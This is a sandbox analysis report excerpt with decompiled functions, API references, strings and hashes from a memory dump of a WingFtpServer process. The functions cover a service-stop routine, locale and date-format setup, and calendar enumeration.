Thread32First, xrefs: 03AB2654
CreateToolhelp32Snapshot, xrefs: 03AB257C
Module32First, xrefs: 03AB2678
Module32Next, xrefs: 03AB268A
Heap32Next, xrefs: 03AB25C4
Toolhelp32ReadProcessMemory, xrefs: 03AB25D6
Process32First, xrefs: 03AB25E8
Process32FirstW, xrefs: 03AB260C, 03AB2630
Module32NextW, xrefs: 03AB26AE, 03AB26D2
Process32NextW, xrefs: 03AB261E, 03AB2642

Memory Dump Source

Source File: 00000012.00000002.560034828.0000000003AA1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 03AA0000, based on PE: true

Associated: 00000012.00000002.560012432.0000000003AA0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564276492.0000000003BCE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564291693.0000000003BCF000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564306803.0000000003BD0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564378271.0000000003BD8000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564420194.0000000003BDB000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564445349.0000000003BDC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564462184.0000000003BDD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564485538.0000000003BDF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_3aa0000_WingFtpServer.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: CreateToolhelp32Snapshot$Heap32First$Heap32ListFirst$Heap32ListNext$Heap32Next$Module32First$Module32FirstW$Module32Next$Module32NextW$Process32First$Process32FirstW$Process32Next$Process32NextW$Thread32First$Thread32Next$Toolhelp32ReadProcessMemory$kernel32.dll
API String ID: 667068680-597814768
Opcode ID: 0757fb03d6c11e2c8d7d7ff1be418743c3c5d983ff14222427d499f900cca3fa
Instruction ID: 3603e3e9de39e85965601d4255a23d7a984f942a79a8c93ef01edca78e084c8a
Opcode Fuzzy Hash: 0757fb03d6c11e2c8d7d7ff1be418743c3c5d983ff14222427d499f900cca3fa
Instruction Fuzzy Hash: 6141F5B4A01314AFDB09EFF8EA95BA937BCFB06204B410E67A410CF70AE2759800CB15

Uniqueness

Uniqueness Score: -1.00%

Function 03BC4A7C Relevance: 16.6, APIs: 11, Instructions: 84
servicesleepwindowCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E03BC4A7C(void* __ebx, intOrPtr _a4) {
				char _v5;
				void* _v12;
				void* _v16;
				intOrPtr _v40;
				struct _SERVICE_STATUS _v44;
				char _v72;
				MSG* _t42;
				intOrPtr _t45;
				void* _t47;
				void* _t48;
				intOrPtr _t49;

				_t47 = _t48;
				_t49 = _t48 + 0xffffffbc;
				E03AA9D00(_a4);
				_t42 =  &_v72;
				_push(_t47);
				_push(0x3bc4b82);
				_push( *[fs:eax]);
				 *[fs:eax] = _t49;
				_v16 = OpenSCManagerW(0, 0, 1);
				_v12 = OpenServiceW(_v16, E03AAA8E4(_a4), 0x34);
				_push(_t47);
				_push(0x3bc4b65);
				_push( *[fs:eax]);
				 *[fs:eax] = _t49;
				if(ControlService(_v12, 1,  &_v44) == 0) {
					_v5 = 0;
					L11:
					_pop(_t45);
					 *[fs:eax] = _t45;
					_push(E03BC4B6C);
					CloseServiceHandle(_v12);
					return CloseServiceHandle(_v16);
				}
				Sleep(0x3e8);
				while(QueryServiceStatus(_v12,  &_v44) != 0) {
					while(PeekMessageW(_t42, 0, 0, 0, 1) != 0) {
						TranslateMessage(_t42);
						DispatchMessageW(_t42);
					}
					if(_v40 != 3) {
						break;
					}
					Sleep(0x3e8);
				}
				if(_v40 != 1) {
					_v5 = 0;
				} else {
					_v5 = 1;
				}
				goto L11;
			}

0x03bc4a7d
0x03bc4a7f
0x03bc4a86
0x03bc4a8b
0x03bc4a90
0x03bc4a91
0x03bc4a96
0x03bc4a99
0x03bc4aa7
0x03bc4abe
0x03bc4ac3
0x03bc4ac4
0x03bc4ac9
0x03bc4acc
0x03bc4ae0
0x03bc4b41
0x03bc4b45
0x03bc4b47
0x03bc4b4a
0x03bc4b4d
0x03bc4b56
0x03bc4b64
0x03bc4b64
0x03bc4ae7
0x03bc4b1e
0x03bc4afc
0x03bc4af1
0x03bc4af7
0x03bc4af7
0x03bc4b12
0x00000000
0x00000000
0x03bc4b19
0x03bc4b19
0x03bc4b33
0x03bc4b3b
0x03bc4b35
0x03bc4b35
0x03bc4b35
0x00000000

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,00000001,00000000,03BC4B82), ref: 03BC4AA2
OpenServiceW.ADVAPI32(?,00000000,00000034,00000000,00000000,00000001,00000000,03BC4B82), ref: 03BC4AB9
ControlService.ADVAPI32(?,00000001,?,00000000,03BC4B65,?,?,00000000,00000034,00000000,00000000,00000001,00000000,03BC4B82), ref: 03BC4AD9
Sleep.KERNEL32(000003E8,?,00000001,?,00000000,03BC4B65,?,?,00000000,00000034,00000000,00000000,00000001,00000000,03BC4B82), ref: 03BC4AE7
PeekMessageW.USER32 ref: 03BC4B05
Sleep.KERNEL32(000003E8,?,00000000,00000000,00000000,00000001,?,?,?,00000000,00000000,00000000,00000001,?,?,000003E8), ref: 03BC4B19
QueryServiceStatus.ADVAPI32(?,?,000003E8,?,00000001,?,00000000,03BC4B65,?,?,00000000,00000034,00000000,00000000,00000001,00000000), ref: 03BC4B26
CloseServiceHandle.ADVAPI32(?,03BC4B6C,00000000,03BC4B65,?,?,00000000,00000034,00000000,00000000,00000001,00000000,03BC4B82), ref: 03BC4B56
CloseServiceHandle.ADVAPI32(?,?,03BC4B6C,00000000,03BC4B65,?,?,00000000,00000034,00000000,00000000,00000001,00000000,03BC4B82), ref: 03BC4B5F

Memory Dump Source

Source File: 00000012.00000002.560034828.0000000003AA1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 03AA0000, based on PE: true

Associated: 00000012.00000002.560012432.0000000003AA0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564276492.0000000003BCE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564291693.0000000003BCF000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564306803.0000000003BD0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564378271.0000000003BD8000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564420194.0000000003BDB000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564445349.0000000003BDC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564462184.0000000003BDD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564485538.0000000003BDF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_3aa0000_WingFtpServer.jbxd

Similarity

API ID: Service$CloseHandleOpenSleep$ControlManagerMessagePeekQueryStatus
String ID:
API String ID: 1780808657-0
Opcode ID: 417dc37e4d2bcbefd077f288b9bf763db5cf31ffe760936f95b90061b22a216a
Instruction ID: 6f9f1528fc551e1bc0a1792dd96744c135f8534d0f1aaa29ecc3cdaf47017fcc
Opcode Fuzzy Hash: 417dc37e4d2bcbefd077f288b9bf763db5cf31ffe760936f95b90061b22a216a
Instruction Fuzzy Hash: 7821A974A54384BAEB21EBB5CD51FDDB7BCDB08704F4048A6F604EB282DB759640C634

Uniqueness

Uniqueness Score: -1.00%

Function 03AC57E8 Relevance: 16.0, APIs: 2, Strings: 7, Instructions: 216
threadCOMMON

Download Yara Rule

C-Code - Quality: 71%

			E03AC57E8(int __eax, void* __ebx, void* __edx, void* __edi, void* __esi, void* __fp0) {
				char _v8;
				char _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				char _v44;
				char _v48;
				char _v52;
				char _v56;
				char _v60;
				int _t55;
				void* _t121;
				void* _t128;
				void* _t151;
				void* _t152;
				intOrPtr _t172;
				intOrPtr _t204;
				signed short _t212;
				int _t214;
				intOrPtr _t216;
				intOrPtr _t217;
				void* _t224;

				_t224 = __fp0;
				_t211 = __edi;
				_t216 = _t217;
				_t152 = 7;
				do {
					_push(0);
					_push(0);
					_t152 = _t152 - 1;
				} while (_t152 != 0);
				_push(__edi);
				_t151 = __edx;
				_t214 = __eax;
				_push(_t216);
				_push(0x3ac5acd);
				_push( *[fs:eax]);
				 *[fs:eax] = _t217;
				_t55 = IsValidLocale(__eax, 1);
				_t219 = _t55;
				if(_t55 == 0) {
					_t214 = GetThreadLocale();
				}
				_t172 =  *0x3abbdd0; // 0x3abbdd4
				E03AAC264(_t151 + 0xbc, _t172);
				E03AC61F0(_t214, _t151, _t151, _t211, _t214, _t224);
				E03AC5EC4(_t214, _t151, _t151, _t211, _t214);
				E03AC5F80(_t214, _t151, _t151, _t211, _t214);
				E03AC5770(_t214, 0, 0x14,  &_v20);
				E03AA9FFC(_t151, _v20);
				E03AC5770(_t214, 0x3ac5ae8, 0x1b,  &_v24);
				 *((char*)(_t151 + 4)) = E03AC1148(0x3ac5ae8, 0, _t219);
				E03AC5770(_t214, 0x3ac5ae8, 0x1c,  &_v28);
				 *((char*)(_t151 + 0xc6)) = E03AC1148(0x3ac5ae8, 0, _t219);
				 *((short*)(_t151 + 0xc0)) = E03AC57BC(_t214, 0x2c, 0xf);
				 *((short*)(_t151 + 0xc2)) = E03AC57BC(_t214, 0x2e, 0xe);
				E03AC5770(_t214, 0x3ac5ae8, 0x19,  &_v32);
				 *((char*)(_t151 + 5)) = E03AC1148(0x3ac5ae8, 0, _t219);
				_t212 = E03AC57BC(_t214, 0x2f, 0x1d);
				 *(_t151 + 6) = _t212;
				_push(_t212);
				E03AC653C(_t214, _t151, L"m/d/yy", 0x1f, _t212, _t214, _t219,  &_v36);
				E03AA9FFC(_t151 + 0xc, _v36);
				_push( *(_t151 + 6) & 0x0000ffff);
				E03AC653C(_t214, _t151, L"mmmm d, yyyy", 0x20, _t212, _t214, _t219,  &_v40);
				E03AA9FFC(_t151 + 0x10, _v40);
				 *((short*)(_t151 + 8)) = E03AC57BC(_t214, 0x3a, 0x1e);
				E03AC5770(_t214, 0x3ac5b3c, 0x28,  &_v44);
				E03AA9FFC(_t151 + 0x14, _v44);
				E03AC5770(_t214, 0x3ac5b50, 0x29,  &_v48);
				E03AA9FFC(_t151 + 0x18, _v48);
				E03AA9C1C( &_v12);
				E03AA9C1C( &_v16);
				E03AC5770(_t214, 0x3ac5ae8, 0x25,  &_v52);
				_t121 = E03AC1148(0x3ac5ae8, 0, _t219);
				_t220 = _t121;
				if(_t121 != 0) {
					E03AAA044( &_v8, 0x3ac5b74);
				} else {
					E03AAA044( &_v8, 0x3ac5b64);
				}
				E03AC5770(_t214, 0x3ac5ae8, 0x23,  &_v56);
				_t128 = E03AC1148(0x3ac5ae8, 0, _t220);
				_t221 = _t128;
				if(_t128 == 0) {
					E03AC5770(_t214, 0x3ac5ae8, 0x1005,  &_v60);
					if(E03AC1148(0x3ac5ae8, 0, _t221) != 0) {
						E03AAA044( &_v12, L"AMPM ");
					} else {
						E03AAA044( &_v16, L" AMPM");
					}
				}
				_push(_v12);
				_push(_v8);
				_push(":mm");
				_push(_v16);
				E03AAABD4(_t151 + 0x1c, _t151, 4, _t212, _t214);
				_push(_v12);
				_push(_v8);
				_push(L":mm:ss");
				_push(_v16);
				E03AAABD4(_t151 + 0x20, _t151, 4, _t212, _t214);
				 *((short*)(_t151 + 0xa)) = E03AC57BC(_t214, 0x2c, 0xc);
				 *((short*)(_t151 + 0xc4)) = 0x32;
				_pop(_t204);
				 *[fs:eax] = _t204;
				_push(0x3ac5ad4);
				return E03AA9C7C( &_v60, 0xe);
			}

0x03ac57e8
0x03ac57e8
0x03ac57e9
0x03ac57eb
0x03ac57f0
0x03ac57f0
0x03ac57f2
0x03ac57f4
0x03ac57f4
0x03ac57f9
0x03ac57fa
0x03ac57fc
0x03ac5800
0x03ac5801
0x03ac5806
0x03ac5809
0x03ac580f
0x03ac5814
0x03ac5816
0x03ac581d
0x03ac581d
0x03ac5825
0x03ac582b
0x03ac5834
0x03ac583d
0x03ac5846
0x03ac5858
0x03ac5862
0x03ac5877
0x03ac5886
0x03ac5899
0x03ac58a8
0x03ac58be
0x03ac58d5
0x03ac58ec
0x03ac58fb
0x03ac590e
0x03ac5910
0x03ac5914
0x03ac5925
0x03ac5930
0x03ac5939
0x03ac594a
0x03ac5955
0x03ac596a
0x03ac597e
0x03ac5989
0x03ac599e
0x03ac59a9
0x03ac59b1
0x03ac59b9
0x03ac59ce
0x03ac59d8
0x03ac59dd
0x03ac59df
0x03ac59f8
0x03ac59e1
0x03ac59e9
0x03ac59e9
0x03ac5a0d
0x03ac5a17
0x03ac5a1c
0x03ac5a1e
0x03ac5a30
0x03ac5a41
0x03ac5a5a
0x03ac5a43
0x03ac5a4b
0x03ac5a4b
0x03ac5a41
0x03ac5a5f
0x03ac5a62
0x03ac5a65
0x03ac5a6a
0x03ac5a75
0x03ac5a7a
0x03ac5a7d
0x03ac5a80
0x03ac5a85
0x03ac5a90
0x03ac5aa5
0x03ac5aa9
0x03ac5ab4
0x03ac5ab7
0x03ac5aba
0x03ac5acc

APIs

IsValidLocale.KERNEL32(?,00000001,00000000,03AC5ACD,?,?,?,?,00000000,00000000), ref: 03AC580F
GetThreadLocale.KERNEL32(?,00000001,00000000,03AC5ACD,?,?,?,?,00000000,00000000), ref: 03AC5818

Part of subcall function 03AC57BC: GetLocaleInfoW.KERNEL32(?,0000000F,?,00000002,0000002C,?,?,?,03AC58BE,?,00000001,00000000,03AC5ACD), ref: 03AC57CF

Part of subcall function 03AC5770: GetLocaleInfoW.KERNEL32(?,?,?,00000100), ref: 03AC578E

Strings

:mm, xrefs: 03AC5A65
2, xrefs: 03AC5AA9
AMPM, xrefs: 03AC5A46
AMPM , xrefs: 03AC5A55
:mm:ss, xrefs: 03AC5A80
m/d/yy, xrefs: 03AC5919
mmmm d, yyyy, xrefs: 03AC593E

Memory Dump Source

Source File: 00000012.00000002.560034828.0000000003AA1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 03AA0000, based on PE: true

Associated: 00000012.00000002.560012432.0000000003AA0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564276492.0000000003BCE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564291693.0000000003BCF000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564306803.0000000003BD0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564378271.0000000003BD8000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564420194.0000000003BDB000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564445349.0000000003BDC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564462184.0000000003BDD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564485538.0000000003BDF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_3aa0000_WingFtpServer.jbxd

Similarity

API ID: Locale$Info$ThreadValid
String ID: AMPM$2$:mm$:mm:ss$AMPM $m/d/yy$mmmm d, yyyy
API String ID: 233154393-3379564615
Opcode ID: c98b736d96ea9d9191aba0ca9e573f3150d6b9cb928ec38c8e05422bf8cdec6c
Instruction ID: befade0f1ab600e3469ff327232ff76480f0c4eeabe416b3bc4a51e311ebcdd3
Opcode Fuzzy Hash: c98b736d96ea9d9191aba0ca9e573f3150d6b9cb928ec38c8e05422bf8cdec6c
Instruction Fuzzy Hash: 50718939B1068D9BDB05EBAAD980A9F73AAEF46700F50806FF5009F345DB34ED068765

Uniqueness

Uniqueness Score: -1.00%

Function 03AC61F0 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 194
threadCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E03AC61F0(void* __eax, void* __ebx, signed int __edx, void* __edi, void* __esi, long long __fp0) {
				signed int _v8;
				char _v12;
				signed int _v16;
				intOrPtr _v20;
				intOrPtr* _t32;
				intOrPtr _t33;
				signed int _t49;
				signed int _t53;
				signed int _t56;
				intOrPtr _t58;
				signed int _t68;
				signed int _t70;
				signed int _t71;
				signed int _t75;
				signed int _t78;
				signed int* _t82;
				signed int _t85;
				void* _t93;
				signed int _t94;
				signed int _t95;
				signed int _t98;
				signed int _t99;
				void* _t105;
				intOrPtr _t106;
				signed int _t109;
				intOrPtr _t116;
				intOrPtr _t117;
				signed int _t118;
				signed int _t124;
				signed int _t125;
				void* _t131;
				void* _t132;
				signed int _t134;
				void* _t136;
				void* _t137;
				void* _t139;
				void* _t140;
				intOrPtr _t141;
				void* _t142;
				long long _t161;

				_t161 = __fp0;
				_t126 = __edi;
				_t109 = __edx;
				_t139 = _t140;
				_t141 = _t140 + 0xfffffff0;
				_push(__edi);
				_v12 = 0;
				_v8 = __edx;
				_t93 = __eax;
				_push(_t139);
				_push(0x3ac6485);
				_push( *[fs:eax]);
				 *[fs:eax] = _t141;
				_t32 =  *0x3bd2274; // 0x3bd38fc
				_t144 =  *_t32;
				if( *_t32 == 0) {
					E03AA6FEC(0x1a);
				}
				_t33 =  *0x3bd6834; // 0x3ec8830
				E03AA8728(E03AA89AC(_t33, 0, _t126), _t109 | 0xffffffff, _t144);
				_push(_t139);
				_push(0x3ac6468);
				_push( *[fs:edx]);
				 *[fs:edx] = _t141;
				 *0x3bd682c = 0;
				_push(0);
				E03AAC140();
				_t142 = _t141 + 4;
				E03AC5770(_t93, 0x3ac64a0, 0x100b,  &_v12);
				_t127 = E03AC1148(0x3ac64a0, 1, _t144);
				if(_t127 + 0xfffffffd - 3 >= 0) {
					__eflags = _t127 - 0xffffffffffffffff;
					if(_t127 - 0xffffffffffffffff < 0) {
						 *0x3bd682c = 1;
						_push(1);
						E03AAC140();
						_t142 = _t142 + 4;
						_t68 =  *0x3bd6830; // 0x0
						E03AA9FFC(_t68, L"B.C.");
						_t70 =  *0x3bd6830; // 0x0
						 *((intOrPtr*)(_t70 + 4)) = 0;
						_t71 =  *0x3bd6830; // 0x0
						 *((intOrPtr*)(_t71 + 8)) = 0xffc00000;
						 *((intOrPtr*)(_t71 + 0xc)) = 0xc1dfffff;
						E03AC38DC(1, 1, 1, __eflags, _t161);
						_v20 = E03AA755C();
						_v16 = 1;
						asm("fild qword [ebp-0x10]");
						_t75 =  *0x3bd6830; // 0x0
						 *((long long*)(_t75 + 0x10)) = _t161;
						asm("wait");
						EnumCalendarInfoW(E03AC60C8, GetThreadLocale(), _t127, 4);
						_t78 =  *0x3bd6830; // 0x0
						__eflags = _t78;
						if(_t78 != 0) {
							_t82 = _t78 - 4;
							__eflags = _t82;
							_t78 =  *_t82;
						}
						_t134 = _t78 - 1;
						__eflags = _t134;
						if(_t134 > 0) {
							_t98 = 1;
							do {
								_t124 =  *0x3bd6830; // 0x0
								 *((intOrPtr*)(_t124 + 4 + (_t98 + _t98 * 2) * 8)) = 0xffffffff;
								_t98 = _t98 + 1;
								_t134 = _t134 - 1;
								__eflags = _t134;
							} while (_t134 != 0);
						}
						EnumCalendarInfoW(E03AC6160, GetThreadLocale(), _t127, 3);
					}
				} else {
					EnumCalendarInfoW(E03AC60C8, GetThreadLocale(), _t127, 4);
					_t85 =  *0x3bd6830; // 0x0
					if(_t85 != 0) {
						_t85 =  *(_t85 - 4);
					}
					_t136 = _t85 - 1;
					if(_t136 >= 0) {
						_t137 = _t136 + 1;
						_t99 = 0;
						do {
							_t125 =  *0x3bd6830; // 0x0
							 *((intOrPtr*)(_t125 + 4 + (_t99 + _t99 * 2) * 8)) = 0xffffffff;
							_t99 = _t99 + 1;
							_t137 = _t137 - 1;
						} while (_t137 != 0);
					}
					EnumCalendarInfoW(E03AC6160, GetThreadLocale(), _t127, 3);
				}
				_t49 =  *0x3bd6830; // 0x0
				_t94 = _t49;
				if(_t94 != 0) {
					_t94 =  *(_t94 - 4);
				}
				_push(_t94);
				E03AAC140();
				_t53 =  *0x3bd6830; // 0x0
				if(_t53 != 0) {
					_t53 =  *(_t53 - 4);
				}
				_t131 = _t53 - 1;
				if(_t131 >= 0) {
					_t132 = _t131 + 1;
					_t95 = 0;
					do {
						_t127 = _t95 + _t95 * 2;
						_t118 =  *0x3bd6830; // 0x0
						_t106 =  *0x3abbc98; // 0x3abbc9c
						E03AAB38C( *((intOrPtr*)(_v8 + 0xbc)) + (_t95 + _t95 * 2) * 8, _t106, _t118 + (_t95 + _t95 * 2) * 8, _t161);
						_t95 = _t95 + 1;
						_t132 = _t132 - 1;
					} while (_t132 != 0);
				}
				_t116 =  *0x3ac6024; // 0x3ac6028
				E03AAC264(0x3bd6830, _t116);
				_t56 =  *0x3bd6830; // 0x0
				if(_t56 != 0) {
					_t56 =  *(_t56 - 4);
				}
				 *0x3bd682c = _t56;
				_pop(_t117);
				_pop(_t105);
				 *[fs:eax] = _t117;
				_push(0x3ac646f);
				_t58 =  *0x3bd6834; // 0x3ec8830
				return E03AA8908(_t58, _t105, _t127);
			}

0x03ac61f0
0x03ac61f0
0x03ac61f0
0x03ac61f1
0x03ac61f3
0x03ac61f8
0x03ac61fb
0x03ac61fe
0x03ac6201
0x03ac6205
0x03ac6206
0x03ac620b
0x03ac620e
0x03ac6211
0x03ac6216
0x03ac6219
0x03ac621d
0x03ac621d
0x03ac6222
0x03ac622f
0x03ac6236
0x03ac6237
0x03ac623c
0x03ac623f
0x03ac6244
0x03ac624a
0x03ac625b
0x03ac6260
0x03ac6273
0x03ac6285
0x03ac628f
0x03ac62ec
0x03ac62ef
0x03ac62fa
0x03ac6300
0x03ac6311
0x03ac6316
0x03ac6319
0x03ac6323
0x03ac6328
0x03ac632f
0x03ac6332
0x03ac6337
0x03ac633e
0x03ac6351
0x03ac635b
0x03ac635e
0x03ac6361
0x03ac6364
0x03ac6369
0x03ac636c
0x03ac637b
0x03ac6380
0x03ac6385
0x03ac6387
0x03ac6389
0x03ac6389
0x03ac638c
0x03ac638c
0x03ac6390
0x03ac6391
0x03ac6393
0x03ac6395
0x03ac639a
0x03ac639d
0x03ac63a3
0x03ac63ab
0x03ac63ac
0x03ac63ac
0x03ac63ac
0x03ac639a
0x03ac63bd
0x03ac63bd
0x03ac6291
0x03ac629f
0x03ac62a4
0x03ac62ab
0x03ac62b0
0x03ac62b0
0x03ac62b4
0x03ac62b7
0x03ac62b9
0x03ac62ba
0x03ac62bc
0x03ac62bf
0x03ac62c5
0x03ac62cd
0x03ac62ce
0x03ac62ce
0x03ac62bc
0x03ac62df
0x03ac62df
0x03ac63c2
0x03ac63c7
0x03ac63cb
0x03ac63d0
0x03ac63d0
0x03ac63d2
0x03ac63e6
0x03ac63ee
0x03ac63f5
0x03ac63fa
0x03ac63fa
0x03ac63fe
0x03ac6401
0x03ac6403
0x03ac6404
0x03ac6406
0x03ac6406
0x03ac6415
0x03ac641e
0x03ac6424
0x03ac6429
0x03ac642a
0x03ac642a
0x03ac6406
0x03ac6432
0x03ac6438
0x03ac643d
0x03ac6444
0x03ac6449
0x03ac6449
0x03ac644b
0x03ac6452
0x03ac6454
0x03ac6455
0x03ac6458
0x03ac645d
0x03ac6467

APIs

GetThreadLocale.KERNEL32(00000000,00000004), ref: 03AC6294
EnumCalendarInfoW.KERNEL32(03AC60C8,00000000,00000000,00000004), ref: 03AC629F
GetThreadLocale.KERNEL32(00000000,00000003,03AC60C8,00000000,00000000,00000004), ref: 03AC62D4
EnumCalendarInfoW.KERNEL32(03AC6160,00000000,00000000,00000003,03AC60C8,00000000,00000000,00000004), ref: 03AC62DF
GetThreadLocale.KERNEL32(00000000,00000004), ref: 03AC6370
EnumCalendarInfoW.KERNEL32(03AC60C8,00000000,00000000,00000004), ref: 03AC637B
GetThreadLocale.KERNEL32(00000000,00000003,03AC60C8,00000000,00000000,00000004), ref: 03AC63B2
EnumCalendarInfoW.KERNEL32(03AC6160,00000000,00000000,00000003,03AC60C8,00000000,00000000,00000004), ref: 03AC63BD

Strings

B.C., xrefs: 03AC631E

Memory Dump Source

Source File: 00000012.00000002.560034828.0000000003AA1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 03AA0000, based on PE: true

Associated: 00000012.00000002.560012432.0000000003AA0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564276492.0000000003BCE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564291693.0000000003BCF000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564306803.0000000003BD0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564378271.0000000003BD8000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564420194.0000000003BDB000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564445349.0000000003BDC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564462184.0000000003BDD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564485538.0000000003BDF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_3aa0000_WingFtpServer.jbxd

Similarity

API ID: CalendarEnumInfoLocaleThread
String ID: B.C.
API String ID: 683597275-621294921
Opcode ID: 3a925a4ba2e02c410dddd56ff22346231f96230c1d1786f84e3907970a79b756
Instruction ID: 0db15d372e5525b23a18f7b9ae8f50d39a1e4e356d5ac3e58d8ef937b47cccad
Opcode Fuzzy Hash: 3a925a4ba2e02c410dddd56ff22346231f96230c1d1786f84e3907970a79b756
Instruction Fuzzy Hash: 1461E279A11B809FD710FF6CDA90B6A37A9FB48714B48426BE910DF769D732D801CB90

Uniqueness

Uniqueness Score: -1.00%

Function 03AACD24 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 76
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E03AACD24(signed short __eax, void* __ebx, intOrPtr* __edx, void* __edi, void* __esi) {
				char _v8;
				void* _t18;
				signed short _t28;
				intOrPtr _t35;
				intOrPtr* _t44;
				intOrPtr _t47;

				_t42 = __edi;
				_push(0);
				_push(__ebx);
				_push(__esi);
				_t44 = __edx;
				_t28 = __eax;
				_push(_t47);
				_push(0x3aace28);
				_push( *[fs:eax]);
				 *[fs:eax] = _t47;
				EnterCriticalSection(0x3bd5c14);
				if(_t28 !=  *0x3bd5c2c) {
					LeaveCriticalSection(0x3bd5c14);
					E03AA9C1C(_t44);
					if(IsValidLocale(_t28 & 0x0000ffff, 2) != 0) {
						if( *0x3bd5c10 == 0) {
							_t18 = E03AACA0C(_t28, _t28, _t44, __edi, _t44);
							L03AA51C4();
							if(_t28 != _t18) {
								if( *_t44 != 0) {
									_t18 = E03AAAAF4(_t44, 0x3aace40);
								}
								L03AA51C4();
								E03AACA0C(_t18, _t28,  &_v8, _t42, _t44);
								E03AAAAF4(_t44, _v8);
							}
						} else {
							E03AACC08(_t28, _t44);
						}
					}
					EnterCriticalSection(0x3bd5c14);
					 *0x3bd5c2c = _t28;
					E03AAC88C(0x3bd5c2e, E03AAA8E4( *_t44), 0xaa);
					LeaveCriticalSection(0x3bd5c14);
				} else {
					E03AAA99C(_t44, 0x55, 0x3bd5c2e);
					LeaveCriticalSection(0x3bd5c14);
				}
				_pop(_t35);
				 *[fs:eax] = _t35;
				_push(E03AACE2F);
				return E03AA9C1C( &_v8);
			}

0x03aacd24
0x03aacd27
0x03aacd29
0x03aacd2a
0x03aacd2b
0x03aacd2d
0x03aacd31
0x03aacd32
0x03aacd37
0x03aacd3a
0x03aacd42
0x03aacd4e
0x03aacd75
0x03aacd7c
0x03aacd8e
0x03aacd97
0x03aacda8
0x03aacdad
0x03aacdb5
0x03aacdba
0x03aacdc3
0x03aacdc3
0x03aacdc8
0x03aacdd0
0x03aacdda
0x03aacdda
0x03aacd99
0x03aacd9d
0x03aacd9d
0x03aacd97
0x03aacde4
0x03aacde9
0x03aace03
0x03aace0d
0x03aacd50
0x03aacd5c
0x03aacd66
0x03aacd66
0x03aace14
0x03aace17
0x03aace1a
0x03aace27

APIs

EnterCriticalSection.KERNEL32(03BD5C14,00000000,03AACE28,?,?,?,00000000,?,03AAD708,00000000,03AAD767,?,?,00000000,00000000,00000000), ref: 03AACD42
LeaveCriticalSection.KERNEL32(03BD5C14,03BD5C14,00000000,03AACE28,?,?,?,00000000,?,03AAD708,00000000,03AAD767,?,?,00000000,00000000), ref: 03AACD66
LeaveCriticalSection.KERNEL32(03BD5C14,03BD5C14,00000000,03AACE28,?,?,?,00000000,?,03AAD708,00000000,03AAD767,?,?,00000000,00000000), ref: 03AACD75
IsValidLocale.KERNEL32(00000000,00000002,03BD5C14,03BD5C14,00000000,03AACE28,?,?,?,00000000,?,03AAD708,00000000,03AAD767), ref: 03AACD87
EnterCriticalSection.KERNEL32(03BD5C14,00000000,00000002,03BD5C14,03BD5C14,00000000,03AACE28,?,?,?,00000000,?,03AAD708,00000000,03AAD767), ref: 03AACDE4
LeaveCriticalSection.KERNEL32(03BD5C14,03BD5C14,00000000,00000002,03BD5C14,03BD5C14,00000000,03AACE28,?,?,?,00000000,?,03AAD708,00000000,03AAD767), ref: 03AACE0D

Strings

en-US,en,, xrefs: 03AACD52, 03AACDF9

Memory Dump Source

